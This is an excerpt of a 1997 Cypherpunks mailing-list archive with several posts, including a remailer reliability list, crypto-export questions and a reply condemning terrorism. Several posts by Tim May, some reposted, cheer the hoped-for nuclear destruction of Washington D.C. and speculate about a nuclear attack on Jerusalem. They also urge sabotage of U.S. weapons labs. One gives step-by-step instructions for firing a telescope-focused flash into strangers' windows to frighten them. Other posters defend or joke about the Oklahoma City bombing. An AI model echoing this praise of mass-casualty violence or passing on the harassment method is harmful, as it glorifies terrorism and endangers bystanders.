that the U.S.-recognized capital of the Zionist entity will be a more
likely target to undergo nuclear cleansing. (And even there some innocent
civilians, both Muslim and Jew, will surely be hastened to their meetings
with Allah, He Whose Name May Not be Expressed (YHWH), or the Great Honey
Bear. No accounting for wanting to live in near Ground Zero...religion is a
strange thing.)

What I think a careful perusal of my comments about D.C. will reveal is
that I will not cry for its destruction, and would, all in all, smile a
broad grin if I wake up some morning to hear on CNN that D.C. is no more.
It's a free country, so I can express such happy thoughts about such
corruptions being cleansed.

(As for crypto and Cypherpunks, anyone who is honest must admit that strong
crypto and Cypherpunks are helping to make this a more plausible scenario.
The bullshit that strong crypto is only for "democratic forces" is too
naive to even comment on. Strong crypto is to give a handful of people the
power to undermine statist authorities and imperial capitals.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 12 May 1997 12:47:09 +0800
To: cypherpunks@toad.com
Subject: Re: War & InfoWar
Message-ID: <199705120425.VAA30346@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green wrote:
> At 09:15 PM 5/10/97 CST, TruthMonger wrote:
> >  The government has prosecuted dozens of individuals for planning
> >to bomb the OK city Federal Building (including executed murderers).
> >It has long been listed as a target of choice for anti-government
> >paramilitarists.
> 
> Can somebody confirm this? Cite?

Below, from the cypherpunks archives:
-------------------
  As MediaFilter reported:

The March edition of Taking Aim, the newsletter of the Militia of

Montana, issued a call to arms for April 19, the day of the Oklahoma
blast: 



Federal prosecutors in (Richard Snell's) the '88 trial claimed that 
the '83 plot_which included counterfeiting, armed robberies and plans 
to assassinate federal judges and the Arkansas FBI chief_was to begin
with the detonation of a truck bomb at the Oklahoma City Federal 
Building. 

All of the defendants were acquitted. But that very same building 
would be blown up by a truck bomb on the very day of Richard Snell's 
execution.



Snell died knowing of the explosion. 

His last words were a warning to Arkansas Governor Guy Tucker: 
"Look over your shoulder, justice is on the way..." 



TruthBomber
-----------------------

  Planning the bombing of the Oklahoma City Federal Building has long
been as standard an exercise for paramilitarists as typing "The quick
brown fox..." has been for typists. The trial mentioned above is not
the only one in which the targeting of the OKC Federal Building was 
involved as a goal of paramilitary objectives.
  To think that federal security personnel in Oklahoma City were 
unaware of this is ludicrous. The fact that they allowed a daycare
to be placed there (or perhaps initiated the action) is as criminal 
an act as the bombing itself.
  Naturally, there will be no trial or investigation of government
criminality in this regard, but only of the actions of anti-government
criminals.

  Freedom and liberty in the world is not in the hands of the citizens,
but in the hands of those who are concerned about it. (The same as
high-fashion or many other mental constructs.)
  There may not be an overt war taking place between the average
citizen and the government, but there is one taking place between the
government and those who oppose the draconian limitations being placed
on their freedom and liberty under the guise of "rule of law."

Dr. Roberts
~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 12 May 1997 13:07:01 +0800
To: cypherpunks@toad.com
Subject: Re: Camera Hacking
In-Reply-To: <Pine.LNX.3.96.970509154412.965B-100000@fozzy.islet.com>
Message-ID: <v03007803af9c5aba8a8e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:02 PM -0800 5/10/97, Alan Olsen wrote:

>The best weapon against a 35mm camera is a flash from a camera.  Aim at the
>lens and fire.  (Only if they are looking through it.)  The screams are
>worth it.  (One of the few joys of my high school photography class.)

Reminds me of an old astronomy club trick.

Take any reasonble aperture telescope. Use a reasonable magnification for
the target such that target window fills the field of view. Place a
standard electronic flash where the eye normally is. (Increased efficiency
is gotten by arranging for as much of the output to go into the eyepieces
as possible...this can be done with an "integrating sphere," e.g., an
aluminum foil sphere with a single exit at the eyepiece.)

After dark, aim the telescope in the window of your victim. Best results
are gotten if they have the lights off, e.g., while they're watching
television.

Trigger the flash.

The startled reactions as their room fills with a flash of light are
interesting. Some of them may even think they're under nuclear attack.

This of course works best from afar. Apartment buildings with views of
other apartment buildings, for example. Don't this from the bushes, or even
from across a street.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Mon, 12 May 1997 11:31:41 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: War & InfoWar
In-Reply-To: <3.0.32.19970511131820.0072e670@netcom13.netcom.com>
Message-ID: <Pine.LNX.3.95.970511220330.1930A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Sun, 11 May 1997, Lucky Green wrote:

> At 09:15 PM 5/10/97 CST, TruthMonger wrote:
> 
> >  The government has prosecuted dozens of individuals for planning
> >to bomb the OK city Federal Building (including executed murderers).
> >It has long been listed as a target of choice for anti-government
> >paramilitarists.
> 
> Can somebody confirm this? Cite?

I don't know about "dozens", but one convicted murderer named Richard
Snell had plotted to bomb the building about 13 years ago.  He was
executed on the night of April 19, 1995, the same day as the OKC
bombing.  There's in article in the February 24, 1997 issue of _Time_
(the one with the golden swastika on the cover) on page 28.  This
article contains similar information to an article at
http://www.aci.net/kalliste/okccol.htm and discusses, among other things,
possible knowledge of the bombing in advance by the ATF and evidence
that Tim McVeigh was associated with the Aryan Republican Army and Elohim
City.  There are a few other articles also at
http://www.aci.net/kalliste/ .

> 
> Thanks,
> 
> 
> -- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
> 
>    "I do believe that where there is a choice only between cowardice and
>     violence, I would advise violence." Mahatma Gandhi
> 
> 



Mark
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iQEVAwUBM3Z+ISzIPc7jvyFpAQF+KQgAivDxal9jU6xi+0YcmgH74gBZ4rZ+3Mc7
fA1P3tZNMBK67+C34kw4L3R/Sf5FOGus3dA48YfhGvMhgkcRegtSDGT6YW55u7qC
4f/4USTh3NumEGhgmLGBHYNHB9CgFveZSgo/yZwmMheZhONcFm1TBaaKv+OuHwEV
O+7mpt2GODrdKR/Ck08/Na6ZLHznhu0X5FEcZ0CSemgws4yX5xnGiIT7wWCRZSS/
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DoK9oy7eLnFxW5iIUGDXujGx9SwFy/1VFU2TuCW1KFBLHt0npCNUBw==
=Cp4h
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Mon, 12 May 1997 15:20:15 +0800
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: Mondex
In-Reply-To: <199705111118.HAA29729@dhp.com>
Message-ID: <Pine.A41.3.95.970512005521.105474M-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain




I think Vulis needs each of us to send ten copies of this back to
him.

On Sun, 11 May 1997, lucifer Anonymous Remailer wrote:

> Tim C[unt] May is a pimply dweeb sitting at a 
> computer chortling at his own imagined cleverness.
> 
>              |||||||||||
>               \~0/ \0~/
>               <  (0)  >
>          --oOO--/|||\--OOo- Tim C[unt] May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 12 May 1997 22:11:41 +0800
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199705121350.GAA15822@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash latent cut ek reord";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<remailer@lycaeum.org> cpunk pgp hash latent cut ek";
$remailer{"hidden"} = "<remailer@hidden.net> cpunk pgp hash latent cut";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 12 May 97 6:48:02 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
nym      config@nym.alias.net             ++**#*******     1:25  99.99%
balls    remailer@huge.cajones.com        ###*########     1:12  99.98%
weasel   config@weasel.owl.de             +++-+++++-+   2:06:18  99.84%
squirrel mix@squirrel.owl.de              +++-+++++-+   2:05:58  99.77%
jam      remailer@cypherpunks.ca          * **********     8:44  99.44%
replay   remailer@replay.com               * -*****  *    16:09  98.65%
cyber    alias@alias.cyberpass.net        +**** * * *+    19:10  97.86%
dustbin  dustman@athensnet.com            .--.+-++-     2:35:37  93.78%
winsock  winsock@rigel.cyberpass.net      ..-..-----    5:14:17  92.97%
lucifer  lucifer@dhp.com                  ++++++++++      38:33  88.02%
hidden   remailer@hidden.net              #__-+####     2:32:43  76.02%
reno     middleman@cyberpass.net          .+_.-   +-    1:47:08  70.50%
mix      mixmaster@remail.obscura.com     ---.-         7:31:14  28.09%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Mon, 12 May 1997 19:26:41 +0800
To: Blanc <cypherpunks@toad.com
Subject: Re: War & InfoWar
In-Reply-To: <3.0.32.19970510224212.006e0a84@cnw.com>
Message-ID: <3.0.1.32.19970512065607.0294f20c@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:43 PM 5/10/97 -0700, Blanc wrote:
>TruthMonger wrote:
>
>>  Of course, you have your own definintion of innocenent bystanders,
>>while others may have different definitions.
>..........................................................
>
>To me, an innocent bystander would be someone who was walking by a building
>which was blown up by someone with a grudge against its occupants.
>
>You lose the point of your attack when you kill those who do not relate to
>the reason for your attack.
>
>"To save the village, we had to destroy it."
>
>
>    ..
>Blanc
>

But Blanc,what if "It Takes A Village to Raise a Child" and the village is trying to raise my child against my will.  In that case, the only way to handle things is to destroy the village.  Not to save it,but to save my child.

Think about it.

But not for too long.

DCF





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Mon, 12 May 1997 20:54:28 +0800
To: cypherpunks@toad.com
Subject: Telnet Anonymous
Message-ID: <TCPSMTP.17.5.12.8.34.14.2780269260.1636483@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

E-Mail...NYM-Servers
WWW...Anonymizer
Telnet...??

How does one telnet anonymously to another system, assuming that
one's home system has identd?

Thanks already in advance...

Ciao

Harka

... Microsoft - "Where do you want to crash today?"

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Version: 2.6.2

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5TB3XJoM0GCgy+oq+fodVpsH7/nseO6NUfIh6Yc5sZ9Rkn2sngkeHt4mpXVx95cP
/IM6udvyfMlNa4Do5gIblsw7QjTaiDBaJ6hhqhyyalvkdoGsMecu4FoH04ZuccWQ
yMl9O8mmG3+O3NRHfCA/bEuhiw4UJRw6d7fhixkp6IHiCRIIPrE4h7P+xRsbZsJ3
dwOoOZwNucOvm5cWjTPiybqhmCodO/QB6XfIpL008MRmtLMaux8N/SJhAmuwf37g
UX1IBXW7p62gfnOiY7GE4YfN9GKTPsdHkM6M/cYUfUx1Dr3SR0em5A==
=oTI6
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 13 May 1997 01:02:42 +0800
To: cypherpunks@algebra.com
Subject: The Interlinked Cypherpunks Lists?
Message-ID: <v03007800af9d068330c1@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



I've recently had some of my articles sent to "cypherpunks@cyberpass.net"
bounce (more precisely: "<cypherpunks@cyberpass.net>... Deferred:
Connection timed out with rigel.cyberpass.net. Warning: message still
undelivered after 4 hours").

And I've received no Cypherpunks list traffic more recently dated than
Saturday morning. (I'm subscribed to cypherpunks@cyberpass.net.)

I surmise that something is wrong. So I've subscribed to one of the
alternates, cypherpunks@algebra.com.

Some thoughts:

* Is it possible for the interlinked lists to send out announcements of
list problems to subscriber of all such lists? (Each list owner could do a
periodic "who cypherpunks" of the other lists, then use this list to send a
message if a problem comes up. More sophisticated cross-processing could
eliminate duplicates, etc.)

* Alternatively, if one of the sites goes down, such as
"cypherpunks@cyberpass.net" seems to have done, could the other sites
automagically pick up the task of distributing articles until the site
comes back up?

* How feasible is it to have a single "virtual subscription address" which
gets traffic from one of the various list sites? (To avoid having to
subscribe to two or more lists and thus getting duplicates.)

I'll resubmit a few of my recent articles to cypherpunks@algebra.com.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 13 May 1997 01:22:06 +0800
To: cypherpunks@algebra.com
Subject: Sabotaging the U.S. Military-Industrial War Machine
Message-ID: <v03007803af9d0957dadf@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



(I sent this article to cypherpunks@cyberpass.net, but am getting no
traffic from that site, and some of my messages have bounced. I've
subscribed to cypherpunks@algebra.com and will resubmit some of my recent
articles to that address. It would be nice if the "interlinked lists"
system could work to handle outages of sites, and not just mutual
distributions of articles. Any ideas?)

>Date: Sun, 11 May 1997 19:39:47 -0800
>To: Kent Crispin <kent@songbird.com>, cypherpunks@cyberpass.net
>From: Tim May <tcmay@got.net>
>Subject: Sabotaging the U.S. Military-Industrial War Machine
>Cc:
>Bcc:
>X-Attachments:
>
>
>(Contrary to rumors, I _do) have a live outside of the Net. I've been away
>this weekend. I probably can't, or won't, respond to all of the comments
>about my recent posts.)
>
>At 12:57 PM -0800 5/10/97, Kent Crispin wrote:
>
>>I would expect a "cypherpunk riot" to be a little more aimed at
>>cyberspace than real-world suburban neighborhoods.  Wouldn't you?
>>
>
>Sorry. I misunderstood you to be speaking of the "fouling of one's own
>nest" (or whatever the ebonics translation might be) riots of recent years.
>
>You are correct that a kind of riot in cyberspace is possible. However, I
>think the attacks (not riots) will not be oriented toward mayhem (no pun
>intended) toward one's neighbors, but towards destablization of
>democracies and military-industrial facilities.
>
>In particular, various attacks against the national labs.
>
>And technologies to make the "force of democracy" lose their teeth.
>
>Subscribe to the Info-War news list for more, although they are
>unfortunately biased toward the U.S. propaganda machine. (It was by some
>of them that I was characterized as an "information terrorist," a label I
>view as an honor.).
>
>(Hint: I was quoted/interviewed in oppostion to the Pentagon's
>"info-warriors" in a BBC television show called "The I-Bomb." My thesis,
>not all of which was inclued in the BBC programme, was that strong crypto
>would and should be used to destablilze U.S. efforts to dominate the New
>World Order. If an I-bomb could destroy the Pentagon, Livermore, Los
>Alamos, and so on, I would press the button tonight. The U.S. military
>machine is vastly more powerful than it needs to be meet the threat of
>invasion of our shores (hint: even Hitler and Tojo were not real threat to
>U.S. shores) and whatever is needed should be done to destabilize and
>sabotage the U.S. industrial war machine.)
>
>The spread of anonymous remailer is already being used to break the back
>of the U.S. war propaganda system. (Given that Lowell Wood's crimes are
>being liberated and sent to non-U.S. sites for their use in defeating the
>war machine).
>
>Cypherpunks stand for making the United States just another bunch of
>contiguous geographic regions.
>
>--Tim May
>
>

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 13 May 1997 01:19:57 +0800
To: cypherpunks@algebra.com
Subject: Crypto Makes Nuclear Disinfectants Easier to Deploy
Message-ID: <v03007804af9d0a1507b0@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



(I sent this article to cypherpunks@cyberpass.net, but am getting no
traffic from that site, and some of my messages have bounced. I've
subscribed to cypherpunks@algebra.com and will resubmit some of my recent
articles to that address. It would be nice if the "interlinked lists"
system could work to handle outages of sites, and not just mutual
distributions of articles. Any ideas?)




>Date: Sun, 11 May 1997 19:58:02 -0800
>To: cypherpunks@cyberpass.net
>From: Tim May <tcmay@got.net>
>Subject: Crypto Makes Nuclear Disinfectants Easier to Deploy
>Cc:
>Bcc:
>X-Attachments:
>
>At 3:25 PM -0800 5/10/97, Duncan Frissell wrote:
>>On Sat, 10 May 1997, Kent Crispin wrote:
>>
>>> I would expect a "cypherpunk riot" to be a little more aimed at
>>> cyberspace than real-world suburban neighborhoods.  Wouldn't you?
>>
>>Tim was mostly talking about nuking the District of Columbia.  You will
>>note that that is an artificial community filled entirely with politicians
>>and their sycophants.  It is sort of like the train that Ayn has blow up
>>in the Rocky Mountain tunnel in Atlas Shrugged.  There are no innocents
>>there. (Well a few tourists and Ethiopian immigrants who don't know better
>>but you can't win 'em all.)  Note also that he is hoping others will do
>>the deed.  He's not volunteering.
>>
>>There will be a few unfortunate explosions in the world over the next few
>>years so I'm sure Tim is just hoping for a beneficial target selection.
>
>Indeed. Beneficial target selection. Though I think it much more likely
>that the U.S.-recognized capital of the Zionist entity will be a more
>likely target to undergo nuclear cleansing. (And even there some innocent
>civilians, both Muslim and Jew, will surely be hastened to their meetings
>with Allah, He Whose Name May Not be Expressed (YHWH), or the Great Honey
>Bear. No accounting for wanting to live in near Ground Zero...religion is
>a strange thing.)
>
>What I think a careful perusal of my comments about D.C. will reveal is
>that I will not cry for its destruction, and would, all in all, smile a
>broad grin if I wake up some morning to hear on CNN that D.C. is no more.
>It's a free country, so I can express such happy thoughts about such
>corruptions being cleansed.
>
>(As for crypto and Cypherpunks, anyone who is honest must admit that
>strong crypto and Cypherpunks are helping to make this a more plausible
>scenario. The bullshit that strong crypto is only for "democratic forces"
>is too naive to even comment on. Strong crypto is to give a handful of
>people the power to undermine statist authorities and imperial capitals.)
>
>--Tim May
>
>

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 13 May 1997 01:12:38 +0800
To: cypherpunks@algebra.com
Subject: Re: Camera Hacking
Message-ID: <v03007805af9d0a380fd6@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



(I sent this article to cypherpunks@cyberpass.net, but am getting no
traffic from that site, and some of my messages have bounced. I've
subscribed to cypherpunks@algebra.com and will resubmit some of my recent
articles to that address. It would be nice if the "interlinked lists"
system could work to handle outages of sites, and not just mutual
distributions of articles. Any ideas?)


>Date: Sun, 11 May 1997 21:37:24 -0800
>To: cypherpunks@toad.com
>From: Tim May <tcmay@got.net>
>Subject: Re: Camera Hacking
>Cc:
>Bcc:
>X-Attachments:
>
>At 9:02 PM -0800 5/10/97, Alan Olsen wrote:
>
>>The best weapon against a 35mm camera is a flash from a camera.  Aim at the
>>lens and fire.  (Only if they are looking through it.)  The screams are
>>worth it.  (One of the few joys of my high school photography class.)
>
>Reminds me of an old astronomy club trick.
>
>Take any reasonble aperture telescope. Use a reasonable magnification for
>the target such that target window fills the field of view. Place a
>standard electronic flash where the eye normally is. (Increased efficiency
>is gotten by arranging for as much of the output to go into the eyepieces
>as possible...this can be done with an "integrating sphere," e.g., an
>aluminum foil sphere with a single exit at the eyepiece.)
>
>After dark, aim the telescope in the window of your victim. Best results
>are gotten if they have the lights off, e.g., while they're watching
>television.
>
>Trigger the flash.
>
>The startled reactions as their room fills with a flash of light are
>interesting. Some of them may even think they're under nuclear attack.
>
>This of course works best from afar. Apartment buildings with views of
>other apartment buildings, for example. Don't this from the bushes, or
>even from across a street.
>
>--Tim May
>
>
>

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Graham C. Hughes" <graham.hughes@resnet.ucsb.edu>
Date: Tue, 13 May 1997 01:36:00 +0800
To: "ET" <emergent@eval-apply.com>
Subject: Re: Unexportable crypto
In-Reply-To: <199705121618.MAA09197@jazz.cape.com>
Message-ID: <87g1vsbokk.fsf@A-abe.resnet.ucsb.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

"ET" <emergent@eval-apply.com> writes:

> A simple substitution cypher has a keyspace of
> 26! ~ 2**88
> Isn't this too strong to export?

No.  ITAR restricts key *size*, not keyspace.  A substitution cypher
has a key size of 2**4 <= 26 <= 2**5, you're not going to get the
Feds pissed off at you about it.
- -- 
Graham Hughes  http://A-abe.resnet.ucsb.edu/~graham/  MIME & PGP mail OK.
(define PGP_fingerprint "E9 B7 5F A0 F8 88 9E 1E  7C 62 D9 88 E1 03 29 5B")
(require 'stddisclaim)

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Version: 2.6.3
Charset: noconv
Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface

iQCVAwUBM3dP2SqNPSINiVE5AQG/6wQAogjCV/ypxcxZXLAMG+QD5amtcKdyteVj
pxRpWDcaB6C8q0Gi6woxn/OABl09oKwgCSX1dVhh8W2cvfnKzeuPmkQ/AUC8bUXO
/ymWvPiNJ5bFkxfOiUw172/6FvpnO6DWm//Jb1rEZhSP5IY3AJO2+P+GE+DQ/1+g
j62owOWHZBk=
=Brxy
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Mon, 12 May 1997 22:51:23 +0800
To: cypherpunks@toad.com
Subject: Applauding Violence (was: Re: Wine Politics Again! (fwd))
Message-ID: <199705121427.HAA27541@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> Date:          Sun, 11 May 1997 04:07:36 +0200 (MET DST)
> Subject:       Re: Wine Politics Again! (fwd)
> To:            cypherpunks@toad.com
> From:          nobody@replay.com (Anonymous)
> Organization:  Replay and Company UnLimited
> Reply-to:      nobody@replay.com (Anonymous)


Froomkin wrote:
>> On Fri, 9 May 1997, Tim May wrote:
>>Every day that passes, I'm more convinced that McVeigh did the right
>>thing. Some innocents died, but, hey, war is hell. Broken eggs and all
>>that.

> It ill behooves participants in a democracy to either advocate or even
> tolerate or even cluck sympathetically at mass murder for political ends. 
> This way lies Bosnia.

> A. Michael Froomkin

Agreed. I'm getting progressively more turned off by
Tim's developing survivalist/confrontationist stance. I fear that
journalists and other casual readers will mistake his positions
for common 'cypherpunk' viewpoints. 

The type of armed, ingrained bitterness towards all aspects and
manifestations of government he displays is hazardous to himself
personally; I can envisage a simple traffic stop turning violent.

Worse, he's demonizing his opponent. This is counter-productive.
It's better to try to understand the actual underlying goals of 
your opponent - it gives you a much better chance at turning
him into your ally, or avoiding a conflict if you cannot do that.
If he can be neither turned nor avoided, the minimum action to
change the status quo should be used.

If Tim truly maintains that a 'war' is underway between people
like him and the government, than he would be in no position 
to complain if Clinton's men treated his little hilltop retreat
as an enemy outpost. 

For all his pride in it's defensibility, they could take it out 
in seconds if respect for due process, the Constitution, and a 
real concern for the lives of innocents did not stop them.

The policies of the current gang in power are bad, and may well
get worse. But terrorism is not yet an appropriate response, and
I pray that it never will be.


Peter Trei
trei@Process.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Barrett <apb@iafrica.com>
Date: Tue, 13 May 1997 01:56:06 +0800
To: cypherpunks@cyberpass.net
